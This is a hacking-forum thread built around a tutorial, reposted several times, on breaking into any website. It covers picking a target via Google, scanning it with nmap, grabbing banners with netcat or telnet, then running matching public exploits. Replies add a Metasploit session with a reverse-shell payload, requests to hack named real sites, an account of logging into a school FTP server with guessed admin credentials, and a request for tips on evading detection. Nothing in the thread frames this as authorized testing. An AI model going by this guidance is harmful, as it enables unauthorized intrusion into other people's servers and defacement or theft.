

Forum:[Hack Forums](#)

Thread: [\[TuT\] Hacking a Website \(must see\) \[TuT\]](#)

RANDOWN - May 13, 2010, 3:57 am

This tutorial will fully explain you how to hack a website.

Disclaimer: I take no responsibility what you do with it.??

First of all you need a target website. (Google & find one)

Once you've got it, plug into this website.

http://www.selfseo.com/find_ip_address_of_a_website.php

Once you've done that, it'll split out its IP address.

Next thing you need to do is find out is, it online or offline. (Ping)

Go to <http://www.just-ping.com> & ping the IP obtained in last step.

Observe the results from ping. (Okay means online)

Now, we need to gather information about the website. (Whois lookup)

Go to <http://whois.domaintools.com> & plug up the IP or the website.

You'll see a large amount of information about the website.

Use Google to find even more information about the website.

Once you're done download, install & open Nmap.

Once you have done that, do a -sT -sV scan of the website.

[That is put, nmap -sT -sV, in Nmap's command bar & scan website.]

Once done, observe open OS, ports, services running on the website server.]

Once done, you'll need to find banner of the software.

[Banner: It shows the software & version running on ports.]

Methods depend on the OS of the server.

For WIN VISTA & 7:

You need to download & Open Netcat.

[Because Telnet is disabled in WIN VISTA & 7]

Once done type, nc <IP> <PORT>

Ex: nc 127.0.0.1 21

Once you've done that, you'll get a banner.

This will be displaying all the details of the software running on port.

For other OS:

Open Telnet

[Start > RUN > telnet]

Once done type, O <IP> <PORT>

Ex: O 127.0.0.1 21

Once you've done that, you'll get a banner.
This will be displaying all the details of the software running on port.
If this doesn't work you can try the first method.

Once you've got the banner, you need to search for vulnerability matching with banner.

Exploit databases:

Milw0rm: <http://www.milw0rm.com>
Security Focus: <http://www.securityfocus.com>
Osvdb: <http://www.osvdb.org>
Cve Mitre: <http://cve.mitre.org>
Metasploit: <http://www.metasploit.com>

Once you've got the matching exploit of the same version software.
[If you haven't got, try another port.]
You need to edit values, compile & run it.

Most common exploit Coders:

Perl

For perl exploits, Copy the exploit in notepad & save it with .pl extension.
Download & Install, Active Perl: www.activestate.com/activeperl
Once done, edit the exploit with notepad & double click to run it.

PHP

For PHP exploits, copy & save it in .php extension.
Download & Install WAMP: <http://www.wampserver.com/en/>
Once done, edit the exploit with notepad & execute it from CMD.

Python

For python exploits, copy & save it in .py extension.
Download & Install python: <http://www.python.org/download>
Once done, edit the exploit with notepad & double click to run it.

C/C++

For C/C++ exploits, copy & save it in notepad.
Download & Install Blood Shed. (Google the link)
Once done, edit the exploit, compile & double click to run it.

If your exploit is successful you will get access to server,
You'll be able to edit every part of the website.
If your exploit wasn't successful try with different port, services & software.
You can also use Metasploit web to search exploits.

Good Luck !??

Arogo - May 13, 2010, 4:14 am

Wow.

Thanks dude.

:]

SIM-38442 - May 13, 2010, 4:18 am

Really good tutorial. It's really in depth and will help a lot of people.

RANDOWN - May 13, 2010, 4:21 am

Thank you for your feedback :D

SIM-38442 - May 13, 2010, 4:23 am

(May 13, 2010 04:21 AM)RANDOWN Wrote: [\[CITE\]](#) Thank you for your feedback :D

Also gave you a plus rep for this. You deserve it.

Mr_Cr@zyM - May 13, 2010, 4:24 am

GoOoD WorK Br0

KeeP It Up

Tooth Fairy - May 13, 2010, 4:47 am

When I put the link of the website I wanted to hack it says,

Sorry, we could not determine the IP address of [www.XXXXXXXXXXXXXXXXXXXXXXX](#) - please make sure you have spelled it correct.

Please help me.

RANDOWN - May 13, 2010, 4:50 am

(May 13, 2010 04:47 AM)BloO_v™ Wrote: [\[CITE\]](#) When I put the link of the website I wanted to hack it says,

Sorry, we could not determine the IP address of [www.XXXXXXXXXXXXXXXXXXXXXXX](#) - please make sure you have spelled it correct.

Please help me.

Don't put "\" after the website

bhkfsg - May 13, 2010, 5:38 am

Good and great tutorial :-):-)

axmetmcl - May 13, 2010, 5:47 am

thanks, but its not a tutorial i think. just its a technic.

ziani - May 13, 2010, 6:42 am

? very good tut

VampyD - May 13, 2010, 7:46 am

Could you add pictures please

hxkd - May 13, 2010, 7:52 am

Argh great, now more n00bs are gunna think they are hackers by using other peoples exploits :(

Still, nice tut. I hope the n00bs will at least edit the exploits before leeching them.

hxkd

Weather Man - May 13, 2010, 8:08 am

This is a really good tutorial, thanks. You could try changing the colours a bit, it's hard to read.

EERONN - May 13, 2010, 8:20 am

ur rank its to slow for this tut, like IM lol (jokking) :P!

very help full !

PM to me ur email.

Cyandelta_CG - May 13, 2010, 8:22 am

Great tut bro, this will help lotsa people out :)

BurningDownBabylon - May 13, 2010, 8:23 am

Nice job.. Nmap is a hackers best friend.. But how come noone pings from the command line anymore??

#Daniel - May 13, 2010, 8:35 am

Thanks dude!

I really wont to "get in" the webs hacks

Malitastic - May 13, 2010, 10:19 am

nice tutorial - very in depth and helped alot!

xwing - May 13, 2010, 10:22 am

such a nice sharing....dude

Magnetic - May 13, 2010, 10:35 am

Excellent tutorial buddy. +1.

Kris` - May 14, 2010, 4:21 am

thanks, nice tutorial! hope you make more :)

RANDOWN - May 14, 2010, 4:40 am

(May 14, 2010 04:21 AM)phtttjee Wrote: [\[CITE\]](#) thanks, nice tutorial! hope you make more :)
I will, ? soon!

eXeSoul™ - May 14, 2010, 4:42 am

Not bad :) nice short tut.!!

RANDOWN - May 14, 2010, 4:44 am

(May 14, 2010 04:42 AM)eXeSoul™ Wrote: [\[CITE\]](#) Not bad :) nice short tut.!!
Thanks Buddy !

MUDCRACK - May 14, 2010, 6:32 am

it's says "colons only allowed in IPv6 addresses, and then you need the -6 switch

QUITTING!" in nmap, so what should it do?

EpicBoyy - May 14, 2010, 9:13 am

Whoa! Thanks man! I'll try this out asap.
Btw, is it possible to hack sub-domains?
For instance, when somebody created a free website..
hxxp://www.something.freeforum.com

Erani13 - May 14, 2010, 9:16 am

Thanks []:
TO SHORT TO SHORT

9lg_skr420 - May 14, 2010, 1:44 pm

is it a technique?

i am gona try it.... hope it worked for me

Igun - May 14, 2010, 2:47 pm

ooh i will use it thanx :)

STALK3R™ - May 14, 2010, 3:13 pm

Very Nice and detailed Tut, Thanks a lot :Smile:

lorens13 - May 14, 2010, 3:56 pm

This is a really nice tutorial,thanks for sharing it^^

-mothered- - May 14, 2010, 5:28 pm

Now, this is one amazing tut there mate. Short, descriptive and very much to the point, with great reference links.

Much appreciate It :)

tech936 - May 14, 2010, 5:46 pm

Thanks Very helpfull and In depth Cheers keep it up

IAAAS - May 14, 2010, 9:16 pm

Very good tutorial. I knew some of this, but not everything in full details, including actually going about and using the exploits. Thank you.

•Anonymus• - May 14, 2010, 9:18 pm

thanks man really cool xD

RANDOWN - May 14, 2010, 9:20 pm

Well this isn't a share it is fully written by me !

Thanks for your Feedback's :P

asdealmeida16 - May 14, 2010, 9:34 pm

GoOoD Thanks for the tutorial

cms_rocks - May 15, 2010, 3:16 am

can sum 1 help me hacking this website

cmseducation.org

C09FF - May 15, 2010, 4:47 am

great tutorial thank you, now that we know this, can there be a tutorial for protection from being

caught :P well yeah it would be much useful. go through all this undetected or keep self safe kind of tutorial.

timeisright - May 15, 2010, 8:28 am
lovely and nice mate- great

Sh4dovvv - June 18, 2010, 4:36 am
Thanks alot for the tutorial, you rock

Konqi - June 18, 2010, 4:40 am
manual about "how to use exploits" ? brrr...

TheAxis - July 11, 2010, 11:06 pm
Thanks a ton for the tutorial, its very well written and understandable

darksmile91 - July 16, 2010, 3:08 am
<http://whois.domaintools.com> after that i got alot information but after that i couldnot understand bro plz help me

rooflez - July 16, 2010, 3:10 am
Thanks A LOT BRO.

Really, this is soo helpful.

Phizo - July 16, 2010, 3:22 am
This wouldn't work though, FTP Clients all have usernames and passwords, if you brute force it or try to crack it, they will contact your ISP.

EDIT: Missed this "Once you've got the banner, you need to search for vulnerability matching with banner."

wargod97 - July 16, 2010, 3:30 am
TelNet is available in win 7 but you need to activate it.

I have it on windows 7 and i googled(because i forgot how to do it :()
run as administrator command prompt type this command
pkgmgr /iu:TelnetClient

i tried this and it worked for me

Phizo - July 16, 2010, 3:34 am
Fuck telnet, Netcat ftw guyz <3.

ahsanciit - July 16, 2010, 4:51 am
got no responce in nmap...hlp me...

VIRUS-11 - July 26, 2010, 8:46 pm
explain this point plzz.... :)

Once you're done download, install & open Nmap.
Once you have done that, do a -sT -sV scan of the website.
[That is put, nmap -sT -sV, in Nmap's command bar & scan website.]
Once done, observe open OS, ports, services running on the website server.]

Prank Calling - July 26, 2010, 8:55 pm
Nice TuT man this looks good.

!nc0gn370 - July 26, 2010, 8:56 pm
No offense or anything...

Telnet hacking is fairly old and oftentimes you don't get any OS/software information after telnetting to the open ports.

I try this from time to time and it can be quite frustrating.

Moral of the story: don't get your hopes up. It's harder and less reliable than it sounds.

Other than that, this is a good tutorial - too bad I can't +rep.

amiel - July 26, 2010, 10:26 pm
how can i inject the kelogger on the website. ? Help me. . .

byteh4ck - July 26, 2010, 10:41 pm
i dont get:

Once you're done download, install & open Nmap.
Once you have done that, do a -sT -sV scan of the website.
[That is put, nmap -sT -sV, in Nmap's command bar & scan website.]
Once done, observe open OS, ports, services running on the website server.]

!nc0gn370 - July 27, 2010, 7:21 pm
(Jul 26, 2010 10:41 PM)byteh4ck Wrote: [\[CITE\]](#) i dont get:

Once you're done download, install & open Nmap.
Once you have done that, do a -sT -sV scan of the website.
[That is put, nmap -sT -sV, in Nmap's command bar & scan website.]
Once done, observe open OS, ports, services running on the website server.]
You don't have to use nmap (although it can provide you with a tad more information). You can really just use any port scanner - just google "Port Scanner" and you're bound to find something (if not, just PM me and I'll send you one).

?

smit - July 27, 2010, 9:16 pm
Rally too much nice tutorial

Thanx for sharing with us !!!??

beyondgodlike23 - September 11, 2010, 7:34 pm
nice but i can use nmap.... every time i scan it keeps telling me this

Code WARNING: Using raw sockets because ppp0 is not an ethernet device. This probably won't work on Windows.

pcap_open_live(ppp0, 100, 0, 2) FAILED. Reported error: Error opening adapter: The system cannot find the device specified. (20). Will wait 5 seconds then retry.

pcap_open_live(ppp0, 100, 0, 2) FAILED. Reported error: Error opening adapter: The system cannot find the device specified. (20). Will wait 25 seconds then retry.

Call to pcap_open_live() failed three times. There are several possible reasons for this, depending on your operating system:

LINUX: If you are getting Socket type not supported, try modprobe af_packet or recompile your kernel with SOCK_PACKET enabled.

*BSD: If you are getting device not configured, you need to recompile your kernel with Berkeley Packet Filter support. If you are getting No such file or directory, try creating the device (eg cd /dev; MAKEDEV <device>; or use mknod).

*WINDOWS: Nmap only supports ethernet interfaces on Windows for most operations because Microsoft disabled raw sockets as of Windows XP SP2. Depending on the reason for this error, it is possible that the --unprivileged command-line argument will help.

SOLARIS: If you are trying to scan localhost or the address of an interface and are getting '/dev/lo0: No such file or directory' or 'lo0: No DLPI device found', complain to Sun. I don't think Solaris can support advanced localhost scans. You can probably use "-Pn -sT localhost" though.

QUITTING!
help

Oz. - September 12, 2010, 8:07 pm
love it 10/10 thanks for posting this.

delta5 - September 13, 2010, 7:59 am
i was try method sql injection . .and done . .
thnx . .i want learn more

troldt - September 13, 2010, 9:13 am
The best tutorial i have ever seen

iGazzy - September 13, 2010, 9:34 am
Does this actually work? Could you take down a pretty sturdy website? (Not like.. google or something stupid but a good one made by a normal person)

Dreamcaster™ - September 21, 2010, 11:58 am
dont knowing if this is posted already,, but telnet can be turned on in vista,, w7 i dont know

ChRoNiC™ - September 24, 2010, 1:48 pm
i tried using netcat and when i typed nc the websites ip and the port (example nc 209.123.161.106 80) netcat just closed. any wonder why?

Suit® - September 24, 2010, 4:05 pm
thanks il be looking into this soon >:D

Fern™ - September 24, 2010, 5:35 pm
Nice! I might try this lol

RidingBlack - September 24, 2010, 7:51 pm
thank u bro

really helpful

MasterMind98 - September 24, 2010, 8:06 pm

This tutorial is pretty decent, it looks very interesting as well.

Coupee36 - December 11, 2010, 7:57 am

great stuff.. thank you. Going to give a try on one of my personal sites now, hope you dont mind if i PM you with any questions i may have... thanks.

Smoogel - December 11, 2010, 8:45 am

Forgive me for being a noob but, where can i download NetCat? I googled and what ever I download is just the source or something.

Coupee36 - December 11, 2010, 8:51 am

(Dec 11, 2010 09:45 AM)Smoogel Wrote: [\[CITE\]](#) Forgive me for being a noob but, where can i download NetCat? I googled and what ever I download is just the source or something.

[click here for netcat](#)

I got mine from there...

iforce - December 11, 2010, 9:20 am

nice tut mate thanks only i got an error trying to get ip for this site <http://www2.arnes.si/~osngbo1s/>

ShaRp HaCker - December 12, 2010, 3:41 am

i check web site ip first and ping status coming is ok then i scan Mnap scan is faild plz tell me how can i scan website plz tell me

ShaRp HaCker - December 12, 2010, 3:41 am

i check web site ip first and ping status coming is ok then i scan Mnap scan is faild plz tell me how can i scan website plz tell me

XxZzUniqueModZzxX - December 14, 2010, 4:05 pm

nice but u shud include some examples about specific vulnerability and an exploit for it thats would be more helpfull , 4/5

davyg1978 - December 14, 2010, 4:17 pm

how to enable telnet on win7

1. Start
2. Control Panel
3. Programs And Features
4. Turn Windows features on or off
5. Check Telnet Client
6. Hit OK

After that you can start Telnet via Command Prompt.

(Dec 14, 2010 05:05 PM)Rolla xx Wrote: [\[CITE\]](#) nice but u shud include some examples about specific vulnerability and an exploit for it thats would be more helpfull , 4/5

i agree on this... i have no idea what is exploitable or what exploit to search for.

tipliedown - December 14, 2010, 4:31 pm

Nice Tutorial dude. this will help lot of people :)

basementchild - December 14, 2010, 5:56 pm

Start
Control Panel
Programs And Features
Turn Windows features on or off
Check Telnet Client
Hit OK

nikkadub - December 14, 2010, 9:49 pm

so im pretty much stuck at the telnet part. im using its through cmd. but when i put eh ip and port in nother erally happpens. i've gone through several open ports and nothing

NiceLabel - December 14, 2010, 11:49 pm

(Sep 24, 2010 01:48 PM)ChRoNiC™ Wrote: [\[CITE\]](#) i tried using netcat and when i typed nc the websites ip and the port (example nc 209.123.161.106 80) netcat just closed. any wonder why? This also happens to me, pretty annoying. I tried reading what comes up right before it closes. Something about forwarding.

blizzard71 - December 15, 2010, 5:47 am

Really good method and tutorial!
Thanks dude!

pierrot972 - December 15, 2010, 6:20 am

nice tutorial, thanks a lot man !

Morph3s - December 15, 2010, 9:11 am

(May 13, 2010 03:57 AM)RANDOWN Wrote: [\[CITE\]](#) This tutorial will fully explain you how to hack a website.

Disclaimer: I take no responsibility what you do with it.??

First of all you need a target website. (Google & find one)

Once you've got it, plug into this website.

http://www.selfseo.com/find_ip_address_of_a_website.php

Once you've done that, it'll split out its IP address.

Next thing you need to do is find out is, it online or offline. (Ping)

Go to <http://www.just-ping.com> & ping the IP obtained in last step.

Observe the results from ping. (Okay means online)

Now, we need to gather information about the website. (Whois lookup)

Go to <http://whois.domaintools.com> & plug up the IP or the website.

You'll see a large amount of information about the website.

Use Google to find even more information about the website.

Once you're done download, install & open Nmap.

Once you have done that, do a -sT -sV scan of the website.

[That is put, nmap -sT -sV, in Nmap's command bar & scan website.]

Once done, observe open OS, ports, services running on the website server.]

Once done, you'll need to find banner of the software.

[Banner: It shows the software & version running on ports.]

Methods depend on the OS of the server.

For WIN VISTA & 7:

You need to download & Open Netcat.

[Because Telnet is disabled in WIN VISTA & 7]

Once done type, nc <IP> <PORT>

Ex: nc 127.0.0.1 21

Once you've done that, you'll get a banner.

This will be displaying all the details of the software running on port.

For other OS:

Open Telnet

[Start > RUN > telnet]

Once done type, O <IP> <PORT>

Ex: O 127.0.0.1 21

Once you've done that, you'll get a banner.

This will be displaying all the details of the software running on port.

If this doesn't work you can try the first method.

Once you've got the banner, you need to search for vulnerability matching with banner.

Good Luck !??

Just to Make it abit easier and way faster ,

All those first steps ?

Why not use this in cmd:

ping www.target.com -> that would get the ip + see if its up.

Second:

nmap -A <target ip> -> even just the website could go here

And you would get the info you need

And that other part? Were you say if the exploit works you would get total control?

So not true , What if the exploit is DOS? or just a local :)

But good tutorial , just need a little editing, and explanation about different exploits

Im not saying this to be negative but to help make the tut better ;) :)

(May 13, 2010 05:47 AM)axmetmcl Wrote: [\[CITE\]](#) thanks, but its not a tutorial i think. just its a technic.

Its a tutorial to USE this technique :)

Morph3s - December 15, 2010, 1:43 pm

This message is edited out , But for some reason i can't delete it , sry

The Unknown - December 16, 2010, 3:22 am

Great tut , really awesome , 10x for sharing man

PCGrind - December 16, 2010, 4:54 am

Awesome, great Tut This has helped me heaps

newest_hacker - December 16, 2010, 6:02 am

i have windows vista and ive done all the steps up to nmap scan. i get a little confused after that. TuT can you break it down i little further for me. i knew at this

newest_hacker - December 17, 2010, 6:42 am

HTTP/1.1 500 Internal Server Error

Content-Length: 75

Content-Type: text/html

Server: Microsoft-IIS/6.0

Date: Thu, 16 Dec 2010 15:24:37 GMT

Connection: close

```
<html><head><title>Error</title></head><body>Invalid index.
</body></html>
```

this is the banner i think what do i do with it now?

aleem14 - December 18, 2010, 10:41 pm

need all software download link Please

rrrrrr - December 18, 2010, 10:44 pm

With nmap you can also use -sV (Probe open ports to determine service/version info), so you don't have o telnet every port to get the "banner".

Boxhead1 - December 18, 2010, 11:15 pm

how can we download nmap??

Valour - December 18, 2010, 11:59 pm

gotta try this out soonest possible thanks a lot :D

Vitko - December 19, 2010, 12:32 am

Thanks, very good tut :)

i will try

Marine Corps - December 19, 2010, 12:45 am

Great tutorial, thanks for the explanations. :D

an0nym0us w0rm - December 19, 2010, 7:34 am

(Dec 15, 2010 12:49 AM)a1m2kill Wrote: [\[CITE\]](#) This also happens to me, pretty annoying. I tried reading what comes up right before it closes. Something about forwarding.

same here!Plz Help!

-msg2fcknshorrtt-

The Unknown - December 19, 2010, 7:59 am

Nice tut man , thanks for sharing this

newest_hacker - January 5, 2011, 4:37 am

SO... what does a banner look like? Can't find it if i don't know what im looking for.

hatim - January 5, 2011, 8:54 am

thanks for sharing...x

Good work keep up the good work

rayven18 - January 5, 2011, 9:19 am

(May 13, 2010 03:57 AM)RAND0WN Wrote: [\[CITE\]](#) This tutorial will fully explain you how to hack a website.

Disclaimer: I take no responsibility what you do with it.??

First of all you need a target website. (Google & find one)

Once you've got it, plug into this website.

http://www.selfseo.com/find_ip_address_of_a_website.php

Once you've done that, it'll split out its IP address.

Next thing you need to do is find out is, it online or offline. (Ping)

Go to <http://www.just-ping.com> & ping the IP obtained in last step.

Observe the results from ping. (Okay means online)

Now, we need to gather information about the website. (Whois lookup)

Go to <http://whois.domaintools.com> & plug up the IP or the website.

You'll see a large amount of information about the website.

Use Google to find even more information about the website.

Once you're done download, install & open Nmap.

Once you have done that, do a -sT -sV scan of the website.

[That is put, nmap -sT -sV, in Nmap's command bar & scan website.]

Once done, observe open OS, ports, services running on the website server.]

Once done, you'll need to find banner of the software.

[Banner: It shows the software & version running on ports.]

Methods depend on the OS of the server.

For WIN VISTA & 7:

You need to download & Open Netcat.

[Because Telnet is disabled in WIN VISTA & 7]

Once done type, nc <IP> <PORT>

Ex: nc 127.0.0.1 21

Once you've done that, you'll get a banner.

This will be displaying all the details of the software running on port.

For other OS:

Open Telnet

[Start > RUN > telnet]

Once done type, O <IP> <PORT>

Ex: O 127.0.0.1 21

Once you've done that, you'll get a banner.

This will be displaying all the details of the software running on port.

If this doesn't work you can try the first method.

Once you've got the banner, you need to search for vulnerability matching with banner.

Exploit databases:

Milw0rm: <http://www.milw0rm.com>

Security Focus: <http://www.securityfocus.com>

Osvdb: <http://www.osvdb.org>

Cve Mitre: <http://cve.mitre.org>

Metasploit: <http://www.metasploit.com>

Once you've got the matching exploit of the same version software.

[If you haven't got, try another port.]

You need to edit values, compile & run it.

Most common exploit Coders:

Perl

For perl exploits, Copy the exploit in notepad & save it with .pl extension.

Download & Install, Active Perl: www.activestate.com/activeperl

Once done, edit the exploit with notepad & double click to run it.

PHP

For PHP exploits, copy & save it in .php extension.

Download & Install WAMP: <http://www.wampserver.com/en/>

Once done, edit the exploit with notepad & execute it from CMD.

Python

For python exploits, copy & save it in .py extension.

Download & Install python: <http://www.python.org/download>

Once done, edit the exploit with notepad & double click to run it.

C/C++

For C/C++ exploits, copy & save it in notepad.

Download & Install Blood Shed. (Google the link)

Once done, edit the exploit, compile & double click to run it.

If your exploit is successful you will get access to server,

You'll be able to edit every part of the website.

If your exploit wasn't successful try with different port, services & software.

You can also use Metasploit web to search exploits.

Good Luck !??

[img]http://seemslegit.com/_images/53936e1bf29734893735430c58216ccb/119%20-%20b%20copy-pasta.jpg[img]

Hackers underground handbook. nah aahh? at least tell us the source that you got it from -.-

psomani - January 5, 2011, 9:45 am

Thats what i was searching for.
Really bookmark'd

umer24434 - January 5, 2011, 10:20 am

that was one of the best tut....thanx

GuJJu - January 5, 2011, 10:25 am

Great job, nice tutorial. I know it takes pain to make long tutorials.

tshering - January 5, 2011, 11:15 am

thax for the tutotial dude,great job

Numinous - January 5, 2011, 12:09 pm

Thanks Buddy..Really helpful....

..

r0Mentaliste - January 5, 2011, 1:07 pm

Thanks GOOD tut. it's best tutorial :DD

djhicham92 - January 6, 2011, 4:22 am

Wow.

Thanks dude.

:] good tutorial [:

XxZzUniqueModZzxX - January 13, 2011, 7:50 pm

i got 2 question for your tut , first should i search for an exploit immediatley after gettin the banner , and how am guna edit the values , im still a skid , editin values requiring some programming knowledge ? right?

glina126 - January 14, 2011, 12:12 am

thanks bro!! :) will use this one day xD

Inf3ctious - June 25, 2011, 4:02 am

[necro]The nmap command doesn't seem to do anything.[/necro]

Menth - June 25, 2011, 5:08 am

you can find a website ip by opening "Run/cmd" then just need to type this command "Ping mywebsite.com" easier way by me xD

xWiFi - June 25, 2011, 5:37 am

great tutorial man, found it extremely helpful

Inf3ctious - June 25, 2011, 5:37 am

I have the IP. I just need to find "open OS ports".

Inf3ctious - June 25, 2011, 4:36 pm

Ok, got the open OS ports. I don't know what the banner is (what I am supposed to find with the telnet cmd) or how to identify it. Any help

What is my next move?

Randomizer4000 - June 25, 2011, 4:39 pm

awesome, great tut. gotte luv dem gr8 tuts

lor.xD - June 25, 2011, 4:40 pm

This is a very good tutorial! thanks this is very detailed

Delegate - June 25, 2011, 4:52 pm

just wanna share with u a grate website i found for web hosting u sign up u can have as many website's as u want with 5 different sub domain things eg.. yourwebsite.99k.org there's 5 of them free database no adds on your website u start from scratch ftp it gives u a index.html that's it your on your own it should have more people signed up is a good website

link : <http://adf.ly/1v0bm>

use it in your threads
and its free

GeneralJoint - June 25, 2011, 5:12 pm

tut tut tut tut tut tut tut

travis8_8 - June 25, 2011, 5:16 pm

Exploit-db should definitely be on that list. :)

Fogest - June 25, 2011, 5:17 pm

Once you for example run an exploit in perl what happens then? How do you get access to the server from that? How do you mess with the site and deface it from there?

Snnuzz - June 25, 2011, 5:22 pm

KEEP GOING BRO !! I LIKE IT

zmaray - June 25, 2011, 6:00 pm

thank you sir i have learned a lot from this.

robife - June 25, 2011, 6:44 pm

Thanks for nice tutorial. I will try it

Inf3ctious - June 26, 2011, 1:42 am

Can someone post a screenshot of what the "banner" is supposed to look like?

avidhacker - June 26, 2011, 1:46 am

really awesome tut man..thankss

conan_1 - June 26, 2011, 4:33 am

Nice tut dude, will help everyone !

Fogest - June 26, 2011, 6:13 am

(Jun 26, 2011 01:42 AM)Inf3ctious Wrote: [\[CITE\]](#) Can someone post a screenshot of what the "banner" is supposed to look like?

Can someone please do what he asked :)

I need to know to because what I see for what is suppose to be a banner I don't think it is a banner.

madmike - June 26, 2011, 7:23 am

don't be a lecher you just copy this from the hackers underground hand book! it is a shame to wach this!

Pho[3]nix - June 26, 2011, 7:36 am

Thanks a lot, awesome tutorial

acidbodyguard - June 26, 2011, 8:36 am

thanks for the tip it did give me somthing to think about

Fogest - June 26, 2011, 9:22 am

(Jun 26, 2011 07:23 AM)madmike Wrote: [\[CITE\]](#) don't be a lecher you just copy this from the hackers underground hand book! it is a shame to wach this!

Yeah I just looked at the ebook and this looks like it's a copy and paste from it.

DreamH4X - June 26, 2011, 9:38 am

Shouldn't this thread be in 'website and forum hacking'?

autorunman22 - June 26, 2011, 10:24 am

impressive tutorial :) i like the way it looks like. Easy to understand

Livux - June 26, 2011, 10:32 am

omg wow, really works on you all ?!

blamm - June 26, 2011, 3:52 pm

I need help, everything was good but the exploit will not work? Can someone tell me what to do to make this exploit work successfully?

http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac

Code \$ msfconsole

```
##  ###  ##  ##
## ## ##### ## ##### ##  ##  ##  ##### ##
## ## ## ## ## ## ## ##  ##  ## ## ## ## ##
## ## ## ## ##### ## ##  ##  ## ## ##  ##
## # ## ## ## ## ## ## ##  ##  ## ## ##  ##
## ## ##### ##### ##  ## ##  ##### ##### #####
##
```

```
msf > use exploit/freebsd/ftp/proftp_telnet_iac
msf exploit(proftp_telnet_iac) > show payloads
msf exploit(proftp_telnet_iac) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(proftp_telnet_iac) > set LHOST [MY IP ADDRESS]
msf exploit(proftp_telnet_iac) > set RHOST [TARGET IP]
msf exploit(proftp_telnet_iac) > exploit
```

alekovo - June 27, 2011, 2:17 pm

Yeah this tutorial is really good, I will do it soon :D

Bank of America - June 29, 2011, 8:15 pm

i will try it : D

==Message Too Short==

bad-antics - June 29, 2011, 8:18 pm

Well written d00d plus REP++

??LI?? - June 29, 2011, 8:26 pm

Thanks for the tutorial.

Short

pwnamster69 - July 1, 2011, 8:36 pm

very nice tutorial

this reminds me of when i first did this and instead of a banner i got access into the site's ftp server, it was my first so i didnt know what to do, so i typed in HELP.

then it turns out you will need a USER and PASS

so i typed in USER ADMIN then PASS (site abrv. my school site, not saying ?)

BOOM my first vic?

deadshot007 - July 1, 2011, 11:14 pm

can you explain more on how to match your banner. i googled it and couldnt find anything, plz help. thanks!!!

Unimagined - July 1, 2011, 11:46 pm

Thanks dude really helped!

Stenography - July 2, 2011, 3:15 am

I don't see that you gave credits to:

<https://ankitthehacker.wordpress.com/2010/05/15/>

<http://www.worldofhacker.com/forum/Thread-Hacking-a-website>

http://moblords.tk/forum_0.xhtml?u=Gaskid

You bastred.

aDeal - July 16, 2011, 9:53 pm

i love your tut's really ..xD

pvtpunchu - July 16, 2011, 11:55 pm

Very very good in detail. Keep em' coming :D

Daubydog - July 17, 2011, 8:45 pm

First tutorial I actually understood! Thanks!

mayee.28 - July 17, 2011, 9:34 pm

Nice one mate !!!

Keep going !!!

Have a happy hacking !!!

???

Eminent - July 17, 2011, 10:16 pm

Overall, it was an exceptional guide. Yet there were a few areas where I was unsatisfied.

Quote:First of all you need a target website. (Google & find one)

I wish you would show us how to Google it. Most guides give a few dorks that you use in order to find vulnerable sites; but simply saying "go Google it" isn't very informative.

Quote:Observe the results from ping. (Okay means online)

Now, we need to gather information about the website. (Whois lookup)

It's really going to be self explanatory, but, in my opinion, it would be better if you would have said

"Observe the results from the ping; if it says 'okay' it means it's online.

If the website is up, then we need to gather some information about the website by doing a Whois lookup. If the site is down, then you need to find a new site."

Quote:You'll see a large amount of information about the website.
Use Google to find even more information about the website.

I see two errors here.

I'm not trying to sound like an English teacher here, but the sentences are short and choppy. Maybe try adding some commas/extending the sentence a little bit.

Also, just by saying 'Use Google to find even more information about the website' isn't enough. You need to give more examples of how you are using Google, and what specific things you are looking for that will make your hack successful.

Quote:Once you're done download, install & open Nmap.
Once you have done that, do a -sT -sV scan of the website.
[That is put, nmap -sT -sV, in Nmap's command bar & scan website.]
Once done, observe open OS, ports, services running on the website server.]

First off, I think you should post a link to download Nmap. I would also suggest that you add a couple pictures, because if someone has never used Nmap before, they won't know how to do that.

Also, I would like to apologize for tearing apart your thread. I do think that it is an excellent guide, and for that reason I wanted to help make your thread better. It took long enough just for me to do that, so I'm not gonna revise the second half of the thread.

kingm0ve - July 18, 2011, 1:04 pm

thanks for share >>good luck

byteh4ck - July 18, 2011, 2:22 pm

it doesnt work for me. he said i will get a banner with info bout the ip at telnet> O [IP]
but all i get is a command thingy were i need to type user [username] and pass [password]
and the only ports i can find at urban dictionary are 443, 80 and 9090.
wth? help please.

72.251.212.84 is the page which i wanna hack. i think its not simple cause it a sortoff wiki.

look at this crap:

```
byte@ubuntu:~$ telnet
telnet> O 72.251.212.84 9090
Trying 72.251.212.84...
Connected to 72.251.212.84.
Escape character is '^]'.
user admin
Connection closed by foreign host.
```

well

i think this isnt of any use either:

PORT	STATE	SERVICE	VERSION
22/tcp	filtered	ssh	
25/tcp	filtered	smtp	
80/tcp	open	http	Apache httpd
135/tcp	filtered	msrpc	
139/tcp	filtered	netbios-ssn	
443/tcp	open	ssl/http	Apache httpd
445/tcp	filtered	microsoft-ds	
593/tcp	filtered	http-rpc-epmap	
3389/tcp	filtered	ms-term-serv	
5800/tcp	filtered	vnc-http	
5900/tcp	filtered	vnc	
5901/tcp	filtered	vnc-1	
9090/tcp	open	ssl/http	Zeus httpd 7_1

sorry i say it but i never ever heard of apache or Zeus.(well, zeus is some kind of god... but...)

can somebody please get me out of this stress? pm me or post, if i can find this thread back :P

pks123 - August 9, 2011, 4:50 am

Wow nice tut,u dont need alot of knowlege to do this step-by-step tut!

Good job!

ah changed my mind,this is 2 advance 4 me cuz im only starting to learn how to hack(this is my first try(FAIL))

MeGaX939 - August 15, 2011, 10:28 pm

can u post a "banner" image just to know what kind of information i can use from the banner ,and how to to search for vulnerability matching with banner?

~Aer - August 15, 2011, 11:07 pm

Wow thanks for this tutorial! Great job bro<3 :) :-) :)

blackw0lf - August 16, 2011, 1:41 am

Good tutorial, covers the basic structure of finding and executing exploits on websites without using "dorks". It's helpful, because a lot of tutorials require a website which is vulnerable to SQLi.

????? - August 16, 2011, 1:42 am

GoOoD WorK Br0

KeeP It Up

Thank for sharing !

Shortshort

mrjamesbusy - August 27, 2011, 3:24 pm

I dont get it help plz ill pay 5 dollars for lessons lol.... pretty cheap job but please!

Osaïd_Hkz - August 27, 2011, 5:16 pm

would some one PLEASE teach me how to do this to hack this website www.catawow.net

please add me on my msn :)

Osaïd_cr4ck3r@Live.com

Iron m@n - August 27, 2011, 5:43 pm

Good tutorial bro..Keep it up! ?

xXgasesXx - January 14, 2012, 11:50 pm

hi im a mac use and when i try..Open Telnet

